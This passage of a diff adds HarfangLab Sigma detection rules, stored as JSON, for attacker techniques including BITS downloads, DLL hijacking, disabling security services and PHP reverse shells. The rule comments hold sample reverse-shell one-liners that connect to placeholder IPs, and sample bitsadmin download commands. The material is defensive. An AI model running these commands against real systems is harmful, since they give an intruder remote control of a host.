'Matrix42 GmbH'\n        - ProcessGrandparentProduct: 'Matrix42 Empirum'\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'Matrix42 GmbH'\n\n    exclusion_serviceportalagent:\n        ProcessName: 'ServicePortalAgent.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Corporation'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5f142996-9dfb-41b9-8493-a4b55a4f6ebe",
+  "rule_name": "Windows Update Disabled via Registry",
+  "rule_description": "Detects when Windows updates are disabled by setting a specific registry key.\nAdversaries may disable Windows automatic updates to weaken the security level of the target during long time engagement.\nIt is recommended to check if this action is intended or if updates are installed by another mean on the impacted system.\n",
+  "rule_creation_date": "2023-12-27",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5f3ad336-0099-4bfb-af9d-258421e51d68",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.593036Z",
+  "creation_date": "2026-03-23T11:45:34.593040Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.593047Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_bthudtask.yml",
+  "content": "title: DLL Hijacking via bthudtask.exe\nid: 5f3ad336-0099-4bfb-af9d-258421e51d68\ndescription: |\n    Detects potential Windows DLL Hijacking via bthudtask.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'bthudtask.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\DEVOBJ.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5f3ad336-0099-4bfb-af9d-258421e51d68",
+  "rule_name": "DLL Hijacking via bthudtask.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via bthudtask.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5f492e12-e643-41a2-a377-b8d8a2886883",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.085427Z",
+  "creation_date": "2026-03-23T11:45:34.085429Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.085433Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/",
+    "https://docs.microsoft.com/windows/win32/bits/about-bits",
+    "https://attack.mitre.org/techniques/T1197/",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/software/S0190/"
+  ],
+  "name": "t1197_bitsadmin_download.yml",
+  "content": "title: File Downloaded or Exfiltrated via BITS\nid: 5f492e12-e643-41a2-a377-b8d8a2886883\ndescription: |\n    Detects a suspicious attempt to download, copy or exfiltrate files and data using bitsadmin.\n    Bitsadmin is a tool to manage the Background Intelligent Transfer Service (BITS) which is used to download files from or upload files to HTTP web servers and SMB file shares.\n    This service is an asynchronous file transfer mechanism and is often used by attackers to download malicious files, exfiltrate data or maintain persistence.\n    By default, BITS jobs have a 90 days maximum lifetime if complete or cancel methods are not called.\n    It is recommended to check the file that has been downloaded via the job for malicious content.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/\n    - https://docs.microsoft.com/windows/win32/bits/about-bits\n    - https://attack.mitre.org/techniques/T1197/\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/software/S0190/\ndate: 2021/05/10\nmodified: 2025/02/18\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1197\n    - attack.command_and_control\n    - attack.t1105\n    - attack.s0190\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Bitsadmin\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    # bitsadmin /transfer <job_name> <remote_path> <local_path>\n\n    # bitsadmin /create 1\n    # bitsadmin /addfile 1 https://live.sysinternals.com/procdump.exe c:\\Windows\\Temp\\autoruns.exe\n    # bitsadmin /resume 1\n    # bitsadmin /complete 1\n\n    # bitsadmin /create 1\n    # bitsadmin /addfile 1 c:\\windows\\system32\\cmd.exe c:\\Windows\\temp\\cmd.exe\n    # bitsadmin /resume 1\n    # bitsadmin /complete 1\n    selection_bin:\n        - Image|endswith: '\\bitsadmin.exe'\n        - OriginalFileName: 'bitsadmin.exe'\n\n    selection_cmd:\n        CommandLine|contains:\n            - 'transfer'\n            - 'addfile'\n\n    condition: all of selection_*\nlevel: medium\nconfidence: moderate",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5f492e12-e643-41a2-a377-b8d8a2886883",
+  "rule_name": "File Downloaded or Exfiltrated via BITS",
+  "rule_description": "Detects a suspicious attempt to download, copy or exfiltrate files and data using bitsadmin.\nBitsadmin is a tool to manage the Background Intelligent Transfer Service (BITS) which is used to download files from or upload files to HTTP web servers and SMB file shares.\nThis service is an asynchronous file transfer mechanism and is often used by attackers to download malicious files, exfiltrate data or maintain persistence.\nBy default, BITS jobs have a 90 days maximum lifetime if complete or cancel methods are not called.\nIt is recommended to check the file that has been downloaded via the job for malicious content.\n",
+  "rule_creation_date": "2021-05-10",
+  "rule_modified_date": "2025-02-18",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1197"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5f531d46-6898-4826-9350-6c5c294eabee",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626016Z",
+  "creation_date": "2026-03-23T11:45:34.626018Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626022Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://objective-see.org/blog/blog_0x56.html",
+    "https://www.jamf.com/blog/detecting-insecure-application-updates-on-macos/",
+    "https://attack.mitre.org/techniques/T1548/",
+    "https://attack.mitre.org/techniques/T1548/004/"
+  ],
+  "name": "t1548_004_security_authtrampoline_execution.yml",
+  "content": "title: Privilege Escalation via security_authtrampoline\nid: 5f531d46-6898-4826-9350-6c5c294eabee\ndescription: |\n    Detects the execution of security_authtrampoline with a suspicious ancestor process.\n    Adversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.\n    It is recommended to check behavior of any children of security_authtrampoline and its parents for any suspicious activity.\nreferences:\n    - https://objective-see.org/blog/blog_0x56.html\n    - https://www.jamf.com/blog/detecting-insecure-application-updates-on-macos/\n    - https://attack.mitre.org/techniques/T1548/\n    - https://attack.mitre.org/techniques/T1548/004/\ndate: 2024/07/23\nmodified: 2025/12/29\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1548.004\n    - classification.macOS.Source.ProcessCreation\n    - classification.macOS.Behavior.PrivilegeEscalation\n    - classification.macOS.Behavior.ProxyExecution\nlogsource:\n    category: process_creation\n    product: macos\ndetection:\n    selection:\n        ProcessName: 'security_authtrampoline'\n        ProcessAncestors|contains:\n            # folder\n            - '/users/shared/'\n            - '/private/tmp/'\n            - '/private/var/tmp/'\n            - '/private/etc/'\n            - '/private/var/root/'\n            - '/Volumes/'\n            # process\n            - 'osascript'\n            - 'python'\n            - 'perl'\n            - 'ruby'\n            - 'bash'\n            - '/sh'\n            - 'zsh'\n            - 'com.apple.automator.runner'\n\n    exclusion_launchd_script:\n        ProcessAncestors|endswith: '|/bin/bash|/sbin/launchd'\n\n    exclusion_red_giant_install:\n        ProcessCommandLine|contains: '/var/folders/*/installer/Red Giant Installer/Red Giant Installer.app/Contents/MacOS/'\n\n    exclusion_maxon:\n        ProcessParentImage:\n            - '/private/var/folders/*/installer/Universe Installer/Universe Installer.app/Contents/MacOS/Universe'\n            - '/private/var/folders/*/installer/Red Giant Installer/Red Giant Installer.app/Contents/MacOS/Red Giant'\n        ProcessCommandLine:\n            - '/usr/libexec/security_authtrampoline /var/folders/*/installer/Universe Installer/Universe Installer.app/Contents/MacOS/osx-arm64 auth 4'\n            - '/usr/libexec/security_authtrampoline /var/folders/*/installer/Red Giant Installer/Red Giant Installer.app/Contents/MacOS/osx-arm64 auth 4'\n\n    exclusion_commandline:\n        ProcessCommandLine:\n            - '/usr/libexec/security_authtrampoline /bin/chmod auth * /Library/*'\n            - '/usr/libexec/security_authtrampoline /bin/chmod auth * /Applications/*'\n            - '/usr/libexec/security_authtrampoline /usr/sbin/chown auth * /Library/*'\n            - '/usr/libexec/security_authtrampoline /usr/sbin/chown auth * /Applications/*'\n            - '/usr/libexec/security_authtrampoline /bin/mkdir auth * /Library/*'\n            - '/usr/libexec/security_authtrampoline /bin/mkdir auth * /Applications/*'\n            - '/usr/libexec/security_authtrampoline /bin/rm auth */Library/*'\n            - '/usr/libexec/security_authtrampoline /bin/rm auth */Applications/*'\n            - '/usr/libexec/security_authtrampoline /usr/bin/ditto auth * /Volumes/* /Applications/*'\n            - '/usr/libexec/security_authtrampoline /Volumes/Uninstall Kaspersky/Kaspersky Uninstaller.app/*'\n            - '/usr/libexec/security_authtrampoline /bin/bash auth 3 -p -c /usr/bin/sudo /bin/launchctl remove com.bomgar.bomgar-*'\n            - '/usr/libexec/security_authtrampoline /var/folders/*/Maxon Cinema 4D/Maxon Cinema 4D Installer.app/Contents/MacOS/osx-arm64 auth 4'\n            - '/usr/libexec/security_authtrampoline /var/folders/*/Update/GeoComplyUpdate *'\n            - '/usr/libexec/security_authtrampoline * remove com.bomgar.bomgar-ps-*'\n            - '/usr/libexec/security_authtrampoline /Applications/ESET Endpoint Antivirus.app/*'\n            - '/usr/libexec/security_authtrampoline /tmp/TempPrinterDriverFiles/Common/PerformOperations.app/*'\n\n    exclusion_image:\n        ProcessParentImage:\n            - '/Volumes/Tunnelblick/Tunnelblick.app/Contents/MacOS/Tunnelblick'\n            - '/Volumes/FXConsole_*_Installer.app/FXConsole_*_Installer.app/Contents/MacOS/vcinstaller'\n            - '/private/tmp/*/Creative Cloud Installer.app/Contents/MacOS/Install'\n            - '/Volumes/*/Adobe Creative Cloud Cleaner Tool.app/Contents/MacOS/Adobe Creative Cloud Cleaner Tool'\n            - '/Volumes/EndNote Cite While You Write Installer/Install Cite While You Write.app/Contents/MacOS/Install Cite While You Write'\n            - '/usr/local/McAfee/AntiMalware/AntiMalwareUpdate'\n            - '/Users/Shared/Battle.net/Agent/Agent.app/Contents/MacOS/Switcher'\n            - '/Volumes/Rescue HD/*/Wondershare Recoverit™ */Recoverit.app/Contents/MacOS/Recoverit'\n            - '/Volumes/Chaos License Server/vrlservice_darwin.bin.app/Contents/MacOS/vrlservice_darwin.bin'\n            - '/Volumes/Chaos License Server ?/vrlservice_darwin.bin.app/Contents/MacOS/vrlservice_darwin.bin'\n            - '/Applications/Chaos/Cosmos/uninstall/installer'\n            - '/Volumes/Perfection V850/EPSON.app/Contents/MacOS/EpsonInstaller'\n\n    exclusion_mapple:\n        ProcessCommandLine|startswith: '/usr/libexec/security_authtrampoline /tmp/Maple*MacUpgrade.app/Contents/MacOS/osx-x86_64'\n        ProcessParentImage: '/private/tmp/Maple*MacUpgrade.app/Contents/MacOS/Maple'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5f531d46-6898-4826-9350-6c5c294eabee",
+  "rule_name": "Privilege Escalation via security_authtrampoline",
+  "rule_description": "Detects the execution of security_authtrampoline with a suspicious ancestor process.\nAdversaries may leverage the AuthorizationExecuteWithPrivileges API to escalate privileges by prompting the user for credentials.\nIt is recommended to check behavior of any children of security_authtrampoline and its parents for any suspicious activity.\n",
+  "rule_creation_date": "2024-07-23",
+  "rule_modified_date": "2025-12-29",
+  "rule_os": "macos",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1548.004"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5f5b5009-39f7-48b4-894b-e553e54476eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621724Z",
+  "creation_date": "2026-03-23T11:45:34.621726Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621730Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/",
+    "https://attack.mitre.org/techniques/T1562/001/",
+    "https://attack.mitre.org/techniques/T1112/"
+  ],
+  "name": "t1562_001_sensitive_service_disabled.yml",
+  "content": "title: Sensitive Service Disabled\nid: 5f5b5009-39f7-48b4-894b-e553e54476eb\ndescription: |\n    Detects sensitive services such as Windows Defender or HarfangLab being disabled via a registry modification.\n    Adversaries may disable sensitive services to try and avoid detection of their malicious activities.\n    It is recommended to analyze the process responsible for the registry modification as well as to look for other suspicious actions on the host.\nreferences:\n    - https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/\n    - https://attack.mitre.org/techniques/T1562/001/\n    - https://attack.mitre.org/techniques/T1112/\ndate: 2024/09/06\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1562.001\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.ImpairDefenses\n    - classification.Windows.Behavior.SystemModification\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject:\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\WdBoot\\Start'\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\WdFilter\\Start'\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\WdNisDrv\\Start'\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\WdNisSvc\\Start'\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\hlab_hurukai\\Start'\n          - 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\hlprotect\\Start'\n        Details: 'DWORD (0x00000004)' # SERVICE_DISABLED\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    # Hlab is disabling itself when updating..\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5f5b5009-39f7-48b4-894b-e553e54476eb",
+  "rule_name": "Sensitive Service Disabled",
+  "rule_description": "Detects sensitive services such as Windows Defender or HarfangLab being disabled via a registry modification.\nAdversaries may disable sensitive services to try and avoid detection of their malicious activities.\nIt is recommended to analyze the process responsible for the registry modification as well as to look for other suspicious actions on the host.\n",
+  "rule_creation_date": "2024-09-06",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1562.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5f96cb48-bf55-484f-badd-d9da662dabd7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "low",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.083661Z",
+  "creation_date": "2026-03-23T11:45:34.083663Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.083668Z",
+  "rule_level": "low",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://sdbrett.com/BrettsITBlog/2016/12/discover-clear-admincount-powershell/",
+    "https://twitter.com/0gtweet/status/1493963591745220608",
+    "https://twitter.com/Oddvarmoe/status/927437787242090496",
+    "https://twitter.com/falsneg/status/1461625526640992260",
+    "https://docs.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-notifyicondataw",
+    "https://attack.mitre.org/techniques/T1087/"
+  ],
+  "name": "t1087_domain_admin_discovery_ldap_powershell.yml",
+  "content": "title: Domain Admin Discovered via LDAP by PowerShell\nid: 5f96cb48-bf55-484f-badd-d9da662dabd7\ndescription: |\n    Detects an Active Directory Service Interfaces (ADSI) query that may indicate the discovery of domain admins via PowerShell.\n    Adversaries may attempt to enumerate domain admin accounts during the discovery phase for privilege escalation and lateral movement.\n    It is recommended to investigate the legitimacy of the PowerShell script.\nreferences:\n    - https://sdbrett.com/BrettsITBlog/2016/12/discover-clear-admincount-powershell/\n    - https://twitter.com/0gtweet/status/1493963591745220608\n    - https://twitter.com/Oddvarmoe/status/927437787242090496\n    - https://twitter.com/falsneg/status/1461625526640992260\n    - https://docs.microsoft.com/en-us/windows/win32/api/shellapi/ns-shellapi-notifyicondataw\n    - https://attack.mitre.org/techniques/T1087/\ndate: 2025/10/20\nmodified: 2025/10/30\nauthor: HarfangLab\ntags:\n    - attack.discovery\n    - attack.t1087\n    - classification.Windows.Source.PowerShellEvent\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.Discovery\nlogsource:\n    category: powershell_event\n    product: windows\ndetection:\n    selection:\n        PowershellCommand|contains:\n            - 'admincount=1'\n            - 'admincount = 1'\n            - 'admincount -eq 1'\n\n    filter_scripts:\n        PowershellScriptPath|endswith:\n            - '.ps1'\n            - '.psd1'\n            - '.psm1'\n\n    condition: selection and not 1 of filter_*\nlevel: low\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "5f96cb48-bf55-484f-badd-d9da662dabd7",
+  "rule_name": "Domain Admin Discovered via LDAP by PowerShell",
+  "rule_description": "Detects an Active Directory Service Interfaces (ADSI) query that may indicate the discovery of domain admins via PowerShell.\nAdversaries may attempt to enumerate domain admin accounts during the discovery phase for privilege escalation and lateral movement.\nIt is recommended to investigate the legitimacy of the PowerShell script.\n",
+  "rule_creation_date": "2025-10-20",
+  "rule_modified_date": "2025-10-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.discovery"
+  ],
+  "rule_technique_tags": [
+    "attack.t1087"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "5f9f5085-ad6a-4474-9c6b-4f614b6e8b54",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600241Z",
+  "creation_date": "2026-03-23T11:45:34.600244Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600252Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux",
+    "https://attack.mitre.org/techniques/T1059/004/"
+  ],
+  "name": "t1059_004_reverse_shell_php_linux.yml",
+  "content": "title: Reverse Shell Executed via PHP\nid: 5f9f5085-ad6a-4474-9c6b-4f614b6e8b54\ndescription: |\n    Detects different suspicious usages of PHP that are related to reverse shells.\n    A reverse shell is shell session that is initiated from a remote machine.\n    Attackers often use reverse shell to bypass firewall restrictions.\n    It is recommended to investigate the whole process tree for suspicious activities.\nreferences:\n    - https://book.hacktricks.xyz/generic-methodologies-and-resources/shells/linux\n    - https://attack.mitre.org/techniques/T1059/004/\ndate: 2022/07/01\nmodified: 2025/04/14\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059.004\n    - classification.Linux.Source.ProcessCreation\n    - classification.Linux.Script.PHP\n    - classification.Linux.Behavior.CommandAndControl\n    - classification.Linux.Behavior.Exploitation\n    - classification.Linux.Behavior.RemoteShell\nlogsource:\n    category: process_creation\n    product: linux\ndetection:\n    # php -r $sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i <&3 >&3 2>&3\");\n    # php -r $sock=fsockopen(\"10.0.0.1\",1234);popen(\"/bin/sh -i <&3 >&3 2>&3\", \"r\");\n    # php -r $s=fsockopen(\"192.168.2.6\",8080);shell_exec(\"/bin/sh -i <&3 >&3 2>&3\");\n    # php -r $s=fsockopen(\"192.168.2.6\",8080);system(\"/bin/sh -i <&3 >&3 2>&3\");\n    # php -r $s=fsockopen(\"192.168.2.6\",8080);`/bin/sh -i <&3 >&3 2>&3`;\n    selection_fsockopen1:\n        CommandLine|contains|all:\n            - 'php'\n            - 'fsockopen('\n            - '2>&3'\n\n    selection_fsockopen2:\n        CommandLine|contains:\n            - 'exec('\n            - 'popen('\n            - 'shell_exec('\n            - 'system('\n            - '`/bin/sh '\n            - '`/bin/bash '\n            - '`/bin/ksh '\n            - '`/bin/zsh '\n            - '`sh '\n            - '`bash '\n            - '`ksh '\n            - '`zsh '\n\n    # php -r '$sock=fsockopen(\"10.0.0.1\",1234);$proc=proc_open(\"/bin/sh -i\", array(0=>$sock, 